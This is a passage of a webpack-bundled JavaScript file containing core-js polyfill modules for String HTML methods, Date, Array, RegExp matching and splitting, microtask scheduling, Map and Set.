__webpack_require__) { "use strict"; // B.2.3.7 String.prototype.fontcolor(color) __webpack_require__(25)('fontcolor', function (createHTML) { return function fontcolor(color) { return createHTML(this, 'font', 'color', color); }; }); /***/ }), /* 508 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.8 String.prototype.fontsize(size) __webpack_require__(25)('fontsize', function (createHTML) { return function fontsize(size) { return createHTML(this, 'font', 'size', size); }; }); /***/ }), /* 509 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.9 String.prototype.italics() __webpack_require__(25)('italics', function (createHTML) { return function italics() { return createHTML(this, 'i', '', ''); }; }); /***/ }), /* 510 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.10 String.prototype.link(url) __webpack_require__(25)('link', function (createHTML) { return function link(url) { return createHTML(this, 'a', 'href', url); }; }); /***/ }), /* 511 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.11 String.prototype.small() __webpack_require__(25)('small', function (createHTML) { return function small() { return createHTML(this, 'small', '', ''); }; }); /***/ }), /* 512 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.12 String.prototype.strike() __webpack_require__(25)('strike', function (createHTML) { return function strike() { return createHTML(this, 'strike', '', ''); }; }); /***/ }), /* 513 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.13 String.prototype.sub() __webpack_require__(25)('sub', function (createHTML) { return function sub() { return createHTML(this, 'sub', '', ''); }; }); /***/ }), /* 514 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.14 String.prototype.sup() __webpack_require__(25)('sup', function (createHTML) { return function sup() { return createHTML(this, 'sup', '', ''); }; }); /***/ }), /* 515 */ /***/ (function(module, exports, __webpack_require__) { // 20.3.3.1 / 15.9.4.4 Date.now() var $export = __webpack_require__(0); $export($export.S, 'Date', { now: function () { return new Date().getTime(); } }); /***/ }), /* 516 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var toObject = __webpack_require__(24); var toPrimitive = __webpack_require__(44); $export($export.P + $export.F * __webpack_require__(4)(function () { return new Date(NaN).toJSON() !== null || Date.prototype.toJSON.call({ toISOString: function () { return 1; } }) !== 1; }), 'Date', { // eslint-disable-next-line no-unused-vars toJSON: function toJSON(key) { var O = toObject(this); var pv = toPrimitive(O); return typeof pv == 'number' && !isFinite(pv) ? null : O.toISOString(); } }); /***/ }), /* 517 */ /***/ (function(module, exports, __webpack_require__) { // 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() var $export = __webpack_require__(0); var toISOString = __webpack_require__(518); // PhantomJS / old WebKit has a broken implementations $export($export.P + $export.F * (Date.prototype.toISOString !== toISOString), 'Date', { toISOString: toISOString }); /***/ }), /* 518 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 20.3.4.36 / 15.9.5.43 Date.prototype.toISOString() var fails = __webpack_require__(4); var getTime = Date.prototype.getTime; var $toISOString = Date.prototype.toISOString; var lz = function (num) { return num > 9 ? num : '0' + num; }; // PhantomJS / old WebKit has a broken implementations module.exports = (fails(function () { return $toISOString.call(new Date(-5e13 - 1)) != '0385-07-25T07:06:39.999Z'; }) || !fails(function () { $toISOString.call(new Date(NaN)); })) ? function toISOString() { if (!isFinite(getTime.call(this))) throw RangeError('Invalid time value'); var d = this; var y = d.getUTCFullYear(); var m = d.getUTCMilliseconds(); var s = y < 0 ? '-' : y > 9999 ? '+' : ''; return s + ('00000' + Math.abs(y)).slice(s ? -6 : -4) + '-' + lz(d.getUTCMonth() + 1) + '-' + lz(d.getUTCDate()) + 'T' + lz(d.getUTCHours()) + ':' + lz(d.getUTCMinutes()) + ':' + lz(d.getUTCSeconds()) + '.' + (m > 99 ? m : '0' + lz(m)) + 'Z'; } : $toISOString; /***/ }), /* 519 */ /***/ (function(module, exports, __webpack_require__) { var DateProto = Date.prototype; var INVALID_DATE = 'Invalid Date'; var TO_STRING = 'toString'; var $toString = DateProto[TO_STRING]; var getTime = DateProto.getTime; if (new Date(NaN) + '' != INVALID_DATE) { __webpack_require__(23)(DateProto, TO_STRING, function toString() { var value = getTime.call(this); // eslint-disable-next-line no-self-compare return value === value ? $toString.call(this) : INVALID_DATE; }); } /***/ }), /* 520 */ /***/ (function(module, exports, __webpack_require__) { var TO_PRIMITIVE = __webpack_require__(12)('toPrimitive'); var proto = Date.prototype; if (!(TO_PRIMITIVE in proto)) __webpack_require__(28)(proto, TO_PRIMITIVE, __webpack_require__(521)); /***/ }), /* 521 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var anObject = __webpack_require__(5); var toPrimitive = __webpack_require__(44); var NUMBER = 'number'; module.exports = function (hint) { if (hint !== 'string' && hint !== NUMBER && hint !== 'default') throw TypeError('Incorrect hint'); return toPrimitive(anObject(this), hint != NUMBER); }; /***/ }), /* 522 */ /***/ (function(module, exports, __webpack_require__) { // 22.1.2.2 / 15.4.3.2 Array.isArray(arg) var $export = __webpack_require__(0); $export($export.S, 'Array', { isArray: __webpack_require__(97) }); /***/ }), /* 523 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var ctx = __webpack_require__(37); var $export = __webpack_require__(0); var toObject = __webpack_require__(24); var call = __webpack_require__(145); var isArrayIter = __webpack_require__(110); var toLength = __webpack_require__(16); var createProperty = __webpack_require__(111); var getIterFn = __webpack_require__(112); $export($export.S + $export.F * !__webpack_require__(82)(function (iter) { Array.from(iter); }), 'Array', { // 22.1.2.1 Array.from(arrayLike, mapfn = undefined, thisArg = undefined) from: function from(arrayLike /* , mapfn = undefined, thisArg = undefined */) { var O = toObject(arrayLike); var C = typeof this == 'function' ? this : Array; var aLen = arguments.length; var mapfn = aLen > 1 ? arguments[1] : undefined; var mapping = mapfn !== undefined; var index = 0; var iterFn = getIterFn(O); var length, result, step, iterator; if (mapping) mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2); // if object isn't iterable or it's array with default iterator - use simple case if (iterFn != undefined && !(C == Array && isArrayIter(iterFn))) { for (iterator = iterFn.call(O), result = new C(); !(step = iterator.next()).done; index++) { createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value); } } else { length = toLength(O.length); for (result = new C(length); length > index; index++) { createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]); } } result.length = index; return result; } }); /***/ }), /* 524 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var createProperty = __webpack_require__(111); // WebKit Array.of isn't generic $export($export.S + $export.F * __webpack_require__(4)(function () { function F() { /* empty */ } return !(Array.of.call(F) instanceof F); }), 'Array', { // 22.1.2.3 Array.of( ...items) of: function of(/* ...args */) { var index = 0; var aLen = arguments.length; var result = new (typeof this == 'function' ? this : Array)(aLen); while (aLen > index) createProperty(result, index, arguments[index++]); result.length = aLen; return result; } }); /***/ }), /* 525 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 22.1.3.13 Array.prototype.join(separator) var $export = __webpack_require__(0); var toIObject = __webpack_require__(29); var arrayJoin = [].join; // fallback for not array-like strings $export($export.P + $export.F * (__webpack_require__(70) != Object || !__webpack_require__(31)(arrayJoin)), 'Array', { join: function join(separator) { return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator); } }); /***/ }), /* 526 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var html = __webpack_require__(98); var cof = __webpack_require__(39); var toAbsoluteIndex = __webpack_require__(54); var toLength = __webpack_require__(16); var arraySlice = [].slice; // fallback for not array-like ES3 strings and DOM objects $export($export.P + $export.F * __webpack_require__(4)(function () { if (html) arraySlice.call(html); }), 'Array', { slice: function slice(begin, end) { var len = toLength(this.length); var klass = cof(this); end = end === undefined ? len : end; if (klass == 'Array') return arraySlice.call(this, begin, end); var start = toAbsoluteIndex(begin, len); var upTo = toAbsoluteIndex(end, len); var size = toLength(upTo - start); var cloned = new Array(size); var i = 0; for (; i < size; i++) cloned[i] = klass == 'String' ? this.charAt(start + i) : this[start + i]; return cloned; } }); /***/ }), /* 527 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var aFunction = __webpack_require__(38); var toObject = __webpack_require__(24); var fails = __webpack_require__(4); var $sort = [].sort; var test = [1, 2, 3]; $export($export.P + $export.F * (fails(function () { // IE8- test.sort(undefined); }) || !fails(function () { // V8 bug test.sort(null); // Old WebKit }) || !__webpack_require__(31)($sort)), 'Array', { // 22.1.3.25 Array.prototype.sort(comparefn) sort: function sort(comparefn) { return comparefn === undefined ? $sort.call(toObject(this)) : $sort.call(toObject(this), aFunction(comparefn)); } }); /***/ }), /* 528 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $forEach = __webpack_require__(36)(0); var STRICT = __webpack_require__(31)([].forEach, true); $export($export.P + $export.F * !STRICT, 'Array', { // 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg]) forEach: function forEach(callbackfn /* , thisArg */) { return $forEach(this, callbackfn, arguments[1]); } }); /***/ }), /* 529 */ /***/ (function(module, exports, __webpack_require__) { // 9.4.2.3 ArraySpeciesCreate(originalArray, length) var speciesConstructor = __webpack_require__(530); module.exports = function (original, length) { return new (speciesConstructor(original))(length); }; /***/ }), /* 530 */ /***/ (function(module, exports, __webpack_require__) { var isObject = __webpack_require__(7); var isArray = __webpack_require__(97); var SPECIES = __webpack_require__(12)('species'); module.exports = function (original) { var C; if (isArray(original)) { C = original.constructor; // cross-realm fallback if (typeof C == 'function' && (C === Array || isArray(C.prototype))) C = undefined; if (isObject(C)) { C = C[SPECIES]; if (C === null) C = undefined; } } return C === undefined ? Array : C; }; /***/ }), /* 531 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $map = __webpack_require__(36)(1); $export($export.P + $export.F * !__webpack_require__(31)([].map, true), 'Array', { // 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg]) map: function map(callbackfn /* , thisArg */) { return $map(this, callbackfn, arguments[1]); } }); /***/ }), /* 532 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $filter = __webpack_require__(36)(2); $export($export.P + $export.F * !__webpack_require__(31)([].filter, true), 'Array', { // 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg]) filter: function filter(callbackfn /* , thisArg */) { return $filter(this, callbackfn, arguments[1]); } }); /***/ }), /* 533 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $some = __webpack_require__(36)(3); $export($export.P + $export.F * !__webpack_require__(31)([].some, true), 'Array', { // 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg]) some: function some(callbackfn /* , thisArg */) { return $some(this, callbackfn, arguments[1]); } }); /***/ }), /* 534 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $every = __webpack_require__(36)(4); $export($export.P + $export.F * !__webpack_require__(31)([].every, true), 'Array', { // 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg]) every: function every(callbackfn /* , thisArg */) { return $every(this, callbackfn, arguments[1]); } }); /***/ }), /* 535 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $reduce = __webpack_require__(146); $export($export.P + $export.F * !__webpack_require__(31)([].reduce, true), 'Array', { // 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue]) reduce: function reduce(callbackfn /* , initialValue */) { return $reduce(this, callbackfn, arguments.length, arguments[1], false); } }); /***/ }), /* 536 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $reduce = __webpack_require__(146); $export($export.P + $export.F * !__webpack_require__(31)([].reduceRight, true), 'Array', { // 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue]) reduceRight: function reduceRight(callbackfn /* , initialValue */) { return $reduce(this, callbackfn, arguments.length, arguments[1], true); } }); /***/ }), /* 537 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $indexOf = __webpack_require__(79)(false); var $native = [].indexOf; var NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0; $export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(31)($native)), 'Array', { // 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex]) indexOf: function indexOf(searchElement /* , fromIndex = 0 */) { return NEGATIVE_ZERO // convert -0 to +0 ? $native.apply(this, arguments) || 0 : $indexOf(this, searchElement, arguments[1]); } }); /***/ }), /* 538 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var toIObject = __webpack_require__(29); var toInteger = __webpack_require__(33); var toLength = __webpack_require__(16); var $native = [].lastIndexOf; var NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0; $export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(31)($native)), 'Array', { // 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex]) lastIndexOf: function lastIndexOf(searchElement /* , fromIndex = @[*-1] */) { // convert -0 to +0 if (NEGATIVE_ZERO) return $native.apply(this, arguments) || 0; var O = toIObject(this); var length = toLength(O.length); var index = length - 1; if (arguments.length > 1) index = Math.min(index, toInteger(arguments[1])); if (index < 0) index = length + index; for (;index >= 0; index--) if (index in O) if (O[index] === searchElement) return index || 0; return -1; } }); /***/ }), /* 539 */ /***/ (function(module, exports, __webpack_require__) { // 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length) var $export = __webpack_require__(0); $export($export.P, 'Array', { copyWithin: __webpack_require__(147) }); __webpack_require__(62)('copyWithin'); /***/ }), /* 540 */ /***/ (function(module, exports, __webpack_require__) { // 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length) var $export = __webpack_require__(0); $export($export.P, 'Array', { fill: __webpack_require__(113) }); __webpack_require__(62)('fill'); /***/ }), /* 541 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined) var $export = __webpack_require__(0); var $find = __webpack_require__(36)(5); var KEY = 'find'; var forced = true; // Shouldn't skip holes if (KEY in []) Array(1)[KEY](function () { forced = false; }); $export($export.P + $export.F * forced, 'Array', { find: function find(callbackfn /* , that = undefined */) { return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); } }); __webpack_require__(62)(KEY); /***/ }), /* 542 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined) var $export = __webpack_require__(0); var $find = __webpack_require__(36)(6); var KEY = 'findIndex'; var forced = true; // Shouldn't skip holes if (KEY in []) Array(1)[KEY](function () { forced = false; }); $export($export.P + $export.F * forced, 'Array', { findIndex: function findIndex(callbackfn /* , that = undefined */) { return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined); } }); __webpack_require__(62)(KEY); /***/ }), /* 543 */ /***/ (function(module, exports, __webpack_require__) { __webpack_require__(63)('Array'); /***/ }), /* 544 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var inheritIfRequired = __webpack_require__(101); var dP = __webpack_require__(17).f; var gOPN = __webpack_require__(56).f; var isRegExp = __webpack_require__(108); var $flags = __webpack_require__(83); var $RegExp = global.RegExp; var Base = $RegExp; var proto = $RegExp.prototype; var re1 = /a/g; var re2 = /a/g; // "new" creates a new object, old webkit buggy here var CORRECT_NEW = new $RegExp(re1) !== re1; if (__webpack_require__(20) && (!CORRECT_NEW || __webpack_require__(4)(function () { re2[__webpack_require__(12)('match')] = false; // RegExp constructor can alter flags and IsRegExp works correct with @@match return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i'; }))) { $RegExp = function RegExp(p, f) { var tiRE = this instanceof $RegExp; var piRE = isRegExp(p); var fiU = f === undefined; return !tiRE && piRE && p.constructor === $RegExp && fiU ? p : inheritIfRequired(CORRECT_NEW ? new Base(piRE && !fiU ? p.source : p, f) : Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f) , tiRE ? this : proto, $RegExp); }; var proxy = function (key) { key in $RegExp || dP($RegExp, key, { configurable: true, get: function () { return Base[key]; }, set: function (it) { Base[key] = it; } }); }; for (var keys = gOPN(Base), i = 0; keys.length > i;) proxy(keys[i++]); proto.constructor = $RegExp; $RegExp.prototype = proto; __webpack_require__(23)(global, 'RegExp', $RegExp); } __webpack_require__(63)('RegExp'); /***/ }), /* 545 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; __webpack_require__(150); var anObject = __webpack_require__(5); var $flags = __webpack_require__(83); var DESCRIPTORS = __webpack_require__(20); var TO_STRING = 'toString'; var $toString = /./[TO_STRING]; var define = function (fn) { __webpack_require__(23)(RegExp.prototype, TO_STRING, fn, true); }; // 21.2.5.14 RegExp.prototype.toString() if (__webpack_require__(4)(function () { return $toString.call({ source: 'a', flags: 'b' }) != '/a/b'; })) { define(function toString() { var R = anObject(this); return '/'.concat(R.source, '/', 'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined); }); // FF44- RegExp#toString has a wrong name } else if ($toString.name != TO_STRING) { define(function toString() { return $toString.call(this); }); } /***/ }), /* 546 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var anObject = __webpack_require__(5); var toLength = __webpack_require__(16); var advanceStringIndex = __webpack_require__(116); var regExpExec = __webpack_require__(84); // @@match logic __webpack_require__(85)('match', 1, function (defined, MATCH, $match, maybeCallNative) { return [ // `String.prototype.match` method // https://tc39.github.io/ecma262/#sec-string.prototype.match function match(regexp) { var O = defined(this); var fn = regexp == undefined ? undefined : regexp[MATCH]; return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O)); }, // `RegExp.prototype[@@match]` method // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match function (regexp) { var res = maybeCallNative($match, regexp, this); if (res.done) return res.value; var rx = anObject(regexp); var S = String(this); if (!rx.global) return regExpExec(rx, S); var fullUnicode = rx.unicode; rx.lastIndex = 0; var A = []; var n = 0; var result; while ((result = regExpExec(rx, S)) !== null) { var matchStr = String(result[0]); A[n] = matchStr; if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); n++; } return n === 0 ? null : A; } ]; }); /***/ }), /* 547 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var anObject = __webpack_require__(5); var toObject = __webpack_require__(24); var toLength = __webpack_require__(16); var toInteger = __webpack_require__(33); var advanceStringIndex = __webpack_require__(116); var regExpExec = __webpack_require__(84); var max = Math.max; var min = Math.min; var floor = Math.floor; var SUBSTITUTION_SYMBOLS = /\$([$&`']|\d\d?|<[^>]*>)/g; var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&`']|\d\d?)/g; var maybeToString = function (it) { return it === undefined ? it : String(it); }; // @@replace logic __webpack_require__(85)('replace', 2, function (defined, REPLACE, $replace, maybeCallNative) { return [ // `String.prototype.replace` method // https://tc39.github.io/ecma262/#sec-string.prototype.replace function replace(searchValue, replaceValue) { var O = defined(this); var fn = searchValue == undefined ? undefined : searchValue[REPLACE]; return fn !== undefined ? fn.call(searchValue, O, replaceValue) : $replace.call(String(O), searchValue, replaceValue); }, // `RegExp.prototype[@@replace]` method // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace function (regexp, replaceValue) { var res = maybeCallNative($replace, regexp, this, replaceValue); if (res.done) return res.value; var rx = anObject(regexp); var S = String(this); var functionalReplace = typeof replaceValue === 'function'; if (!functionalReplace) replaceValue = String(replaceValue); var global = rx.global; if (global) { var fullUnicode = rx.unicode; rx.lastIndex = 0; } var results = []; while (true) { var result = regExpExec(rx, S); if (result === null) break; results.push(result); if (!global) break; var matchStr = String(result[0]); if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); } var accumulatedResult = ''; var nextSourcePosition = 0; for (var i = 0; i < results.length; i++) { result = results[i]; var matched = String(result[0]); var position = max(min(toInteger(result.index), S.length), 0); var captures = []; // NOTE: This is equivalent to // captures = result.slice(1).map(maybeToString) // but for some reason `nativeSlice.call(result, 1, result.length)` (called in // the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and // causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it. for (var j = 1; j < result.length; j++) captures.push(maybeToString(result[j])); var namedCaptures = result.groups; if (functionalReplace) { var replacerArgs = [matched].concat(captures, position, S); if (namedCaptures !== undefined) replacerArgs.push(namedCaptures); var replacement = String(replaceValue.apply(undefined, replacerArgs)); } else { replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue); } if (position >= nextSourcePosition) { accumulatedResult += S.slice(nextSourcePosition, position) + replacement; nextSourcePosition = position + matched.length; } } return accumulatedResult + S.slice(nextSourcePosition); } ]; // https://tc39.github.io/ecma262/#sec-getsubstitution function getSubstitution(matched, str, position, captures, namedCaptures, replacement) { var tailPos = position + matched.length; var m = captures.length; var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED; if (namedCaptures !== undefined) { namedCaptures = toObject(namedCaptures); symbols = SUBSTITUTION_SYMBOLS; } return $replace.call(replacement, symbols, function (match, ch) { var capture; switch (ch.charAt(0)) { case '$': return '$'; case '&': return matched; case '`': return str.slice(0, position); case "'": return str.slice(tailPos); case '<': capture = namedCaptures[ch.slice(1, -1)]; break; default: // \d\d? var n = +ch; if (n === 0) return ch; if (n > m) { var f = floor(n / 10); if (f === 0) return ch; if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1); return ch; } capture = captures[n - 1]; } return capture === undefined ? '' : capture; }); } }); /***/ }), /* 548 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var anObject = __webpack_require__(5); var sameValue = __webpack_require__(136); var regExpExec = __webpack_require__(84); // @@search logic __webpack_require__(85)('search', 1, function (defined, SEARCH, $search, maybeCallNative) { return [ // `String.prototype.search` method // https://tc39.github.io/ecma262/#sec-string.prototype.search function search(regexp) { var O = defined(this); var fn = regexp == undefined ? undefined : regexp[SEARCH]; return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O)); }, // `RegExp.prototype[@@search]` method // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search function (regexp) { var res = maybeCallNative($search, regexp, this); if (res.done) return res.value; var rx = anObject(regexp); var S = String(this); var previousLastIndex = rx.lastIndex; if (!sameValue(previousLastIndex, 0)) rx.lastIndex = 0; var result = regExpExec(rx, S); if (!sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex; return result === null ? -1 : result.index; } ]; }); /***/ }), /* 549 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var isRegExp = __webpack_require__(108); var anObject = __webpack_require__(5); var speciesConstructor = __webpack_require__(73); var advanceStringIndex = __webpack_require__(116); var toLength = __webpack_require__(16); var callRegExpExec = __webpack_require__(84); var regexpExec = __webpack_require__(115); var $min = Math.min; var $push = [].push; var $SPLIT = 'split'; var LENGTH = 'length'; var LAST_INDEX = 'lastIndex'; // eslint-disable-next-line no-empty var SUPPORTS_Y = !!(function () { try { return new RegExp('x', 'y'); } catch (e) {} })(); // @@split logic __webpack_require__(85)('split', 2, function (defined, SPLIT, $split, maybeCallNative) { var internalSplit; if ( 'abbc'[$SPLIT](/(b)*/)[1] == 'c' || 'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 || 'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 || '.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 || '.'[$SPLIT](/()()/)[LENGTH] > 1 || ''[$SPLIT](/.?/)[LENGTH] ) { // based on es5-shim implementation, need to rework it internalSplit = function (separator, limit) { var string = String(this); if (separator === undefined && limit === 0) return []; // If `separator` is not a regex, use native split if (!isRegExp(separator)) return $split.call(string, separator, limit); var output = []; var flags = (separator.ignoreCase ? 'i' : '') + (separator.multiline ? 'm' : '') + (separator.unicode ? 'u' : '') + (separator.sticky ? 'y' : ''); var lastLastIndex = 0; var splitLimit = limit === undefined ? 4294967295 : limit >>> 0; // Make `global` and avoid `lastIndex` issues by working with a copy var separatorCopy = new RegExp(separator.source, flags + 'g'); var match, lastIndex, lastLength; while (match = regexpExec.call(separatorCopy, string)) { lastIndex = separatorCopy[LAST_INDEX]; if (lastIndex > lastLastIndex) { output.push(string.slice(lastLastIndex, match.index)); if (match[LENGTH] > 1 && match.index < string[LENGTH]) $push.apply(output, match.slice(1)); lastLength = match[0][LENGTH]; lastLastIndex = lastIndex; if (output[LENGTH] >= splitLimit) break; } if (separatorCopy[LAST_INDEX] === match.index) separatorCopy[LAST_INDEX]++; // Avoid an infinite loop } if (lastLastIndex === string[LENGTH]) { if (lastLength || !separatorCopy.test('')) output.push(''); } else output.push(string.slice(lastLastIndex)); return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output; }; // Chakra, V8 } else if ('0'[$SPLIT](undefined, 0)[LENGTH]) { internalSplit = function (separator, limit) { return separator === undefined && limit === 0 ? [] : $split.call(this, separator, limit); }; } else { internalSplit = $split; } return [ // `String.prototype.split` method // https://tc39.github.io/ecma262/#sec-string.prototype.split function split(separator, limit) { var O = defined(this); var splitter = separator == undefined ? undefined : separator[SPLIT]; return splitter !== undefined ? splitter.call(separator, O, limit) : internalSplit.call(String(O), separator, limit); }, // `RegExp.prototype[@@split]` method // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split // // NOTE: This cannot be properly polyfilled in engines that don't support // the 'y' flag. function (regexp, limit) { var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== $split); if (res.done) return res.value; var rx = anObject(regexp); var S = String(this); var C = speciesConstructor(rx, RegExp); var unicodeMatching = rx.unicode; var flags = (rx.ignoreCase ? 'i' : '') + (rx.multiline ? 'm' : '') + (rx.unicode ? 'u' : '') + (SUPPORTS_Y ? 'y' : 'g'); // ^(? + rx + ) is needed, in combination with some S slicing, to // simulate the 'y' flag. var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags); var lim = limit === undefined ? 0xffffffff : limit >>> 0; if (lim === 0) return []; if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : []; var p = 0; var q = 0; var A = []; while (q < S.length) { splitter.lastIndex = SUPPORTS_Y ? q : 0; var z = callRegExpExec(splitter, SUPPORTS_Y ? S : S.slice(q)); var e; if ( z === null || (e = $min(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p ) { q = advanceStringIndex(S, q, unicodeMatching); } else { A.push(S.slice(p, q)); if (A.length === lim) return A; for (var i = 1; i <= z.length - 1; i++) { A.push(z[i]); if (A.length === lim) return A; } q = p = e; } } A.push(S.slice(p)); return A; } ]; }); /***/ }), /* 550 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var macrotask = __webpack_require__(117).set; var Observer = global.MutationObserver || global.WebKitMutationObserver; var process = global.process; var Promise = global.Promise; var isNode = __webpack_require__(39)(process) == 'process'; module.exports = function () { var head, last, notify; var flush = function () { var parent, fn; if (isNode && (parent = process.domain)) parent.exit(); while (head) { fn = head.fn; head = head.next; try { fn(); } catch (e) { if (head) notify(); else last = undefined; throw e; } } last = undefined; if (parent) parent.enter(); }; // Node.js if (isNode) { notify = function () { process.nextTick(flush); }; // browsers with MutationObserver, except iOS Safari - https://github.com/zloirock/core-js/issues/339 } else if (Observer && !(global.navigator && global.navigator.standalone)) { var toggle = true; var node = document.createTextNode(''); new Observer(flush).observe(node, { characterData: true }); // eslint-disable-line no-new notify = function () { node.data = toggle = !toggle; }; // environments with maybe non-completely correct, but existent Promise } else if (Promise && Promise.resolve) { // Promise.resolve without an argument throws an error in LG WebOS 2 var promise = Promise.resolve(undefined); notify = function () { promise.then(flush); }; // for other environments - macrotask based on: // - setImmediate // - MessageChannel // - window.postMessag // - onreadystatechange // - setTimeout } else { notify = function () { // strange IE + webpack dev server bug - use .call(global) macrotask.call(global, flush); }; } return function (fn) { var task = { fn: fn, next: undefined }; if (last) last.next = task; if (!head) { head = task; notify(); } last = task; }; }; /***/ }), /* 551 */ /***/ (function(module, exports) { module.exports = function (exec) { try { return { e: false, v: exec() }; } catch (e) { return { e: true, v: e }; } }; /***/ }), /* 552 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var strong = __webpack_require__(154); var validate = __webpack_require__(66); var MAP = 'Map'; // 23.1 Map Objects module.exports = __webpack_require__(88)(MAP, function (get) { return function Map() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; }, { // 23.1.3.6 Map.prototype.get(key) get: function get(key) { var entry = strong.getEntry(validate(this, MAP), key); return entry && entry.v; }, // 23.1.3.9 Map.prototype.set(key, value) set: function set(key, value) { return strong.def(validate(this, MAP), key === 0 ? 0 : key, value); } }, strong, true); /***/ }), /* 553 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var strong = __webpack_require__(154); var validate = __webpack_require__(66); var SET = 'Set'; // 23.2 Set Objects module.exports = __webpack_require__(88)(SET, function (get) { return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; }, { // 23.2.3.1 Set.prototype.add(value) add: function add(value) { return strong.def(validate(this, SET), value = value === 0 ? 0 : value, value); } }, strong); /***/ }), /* 554 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var each = __webpack_require__(36)(0); var redefine = __webpack_require__(23); var meta = __webpack_require__(45); var assign = __webpack_require__(135); var weak = __webpack_require__(155); var isObject = 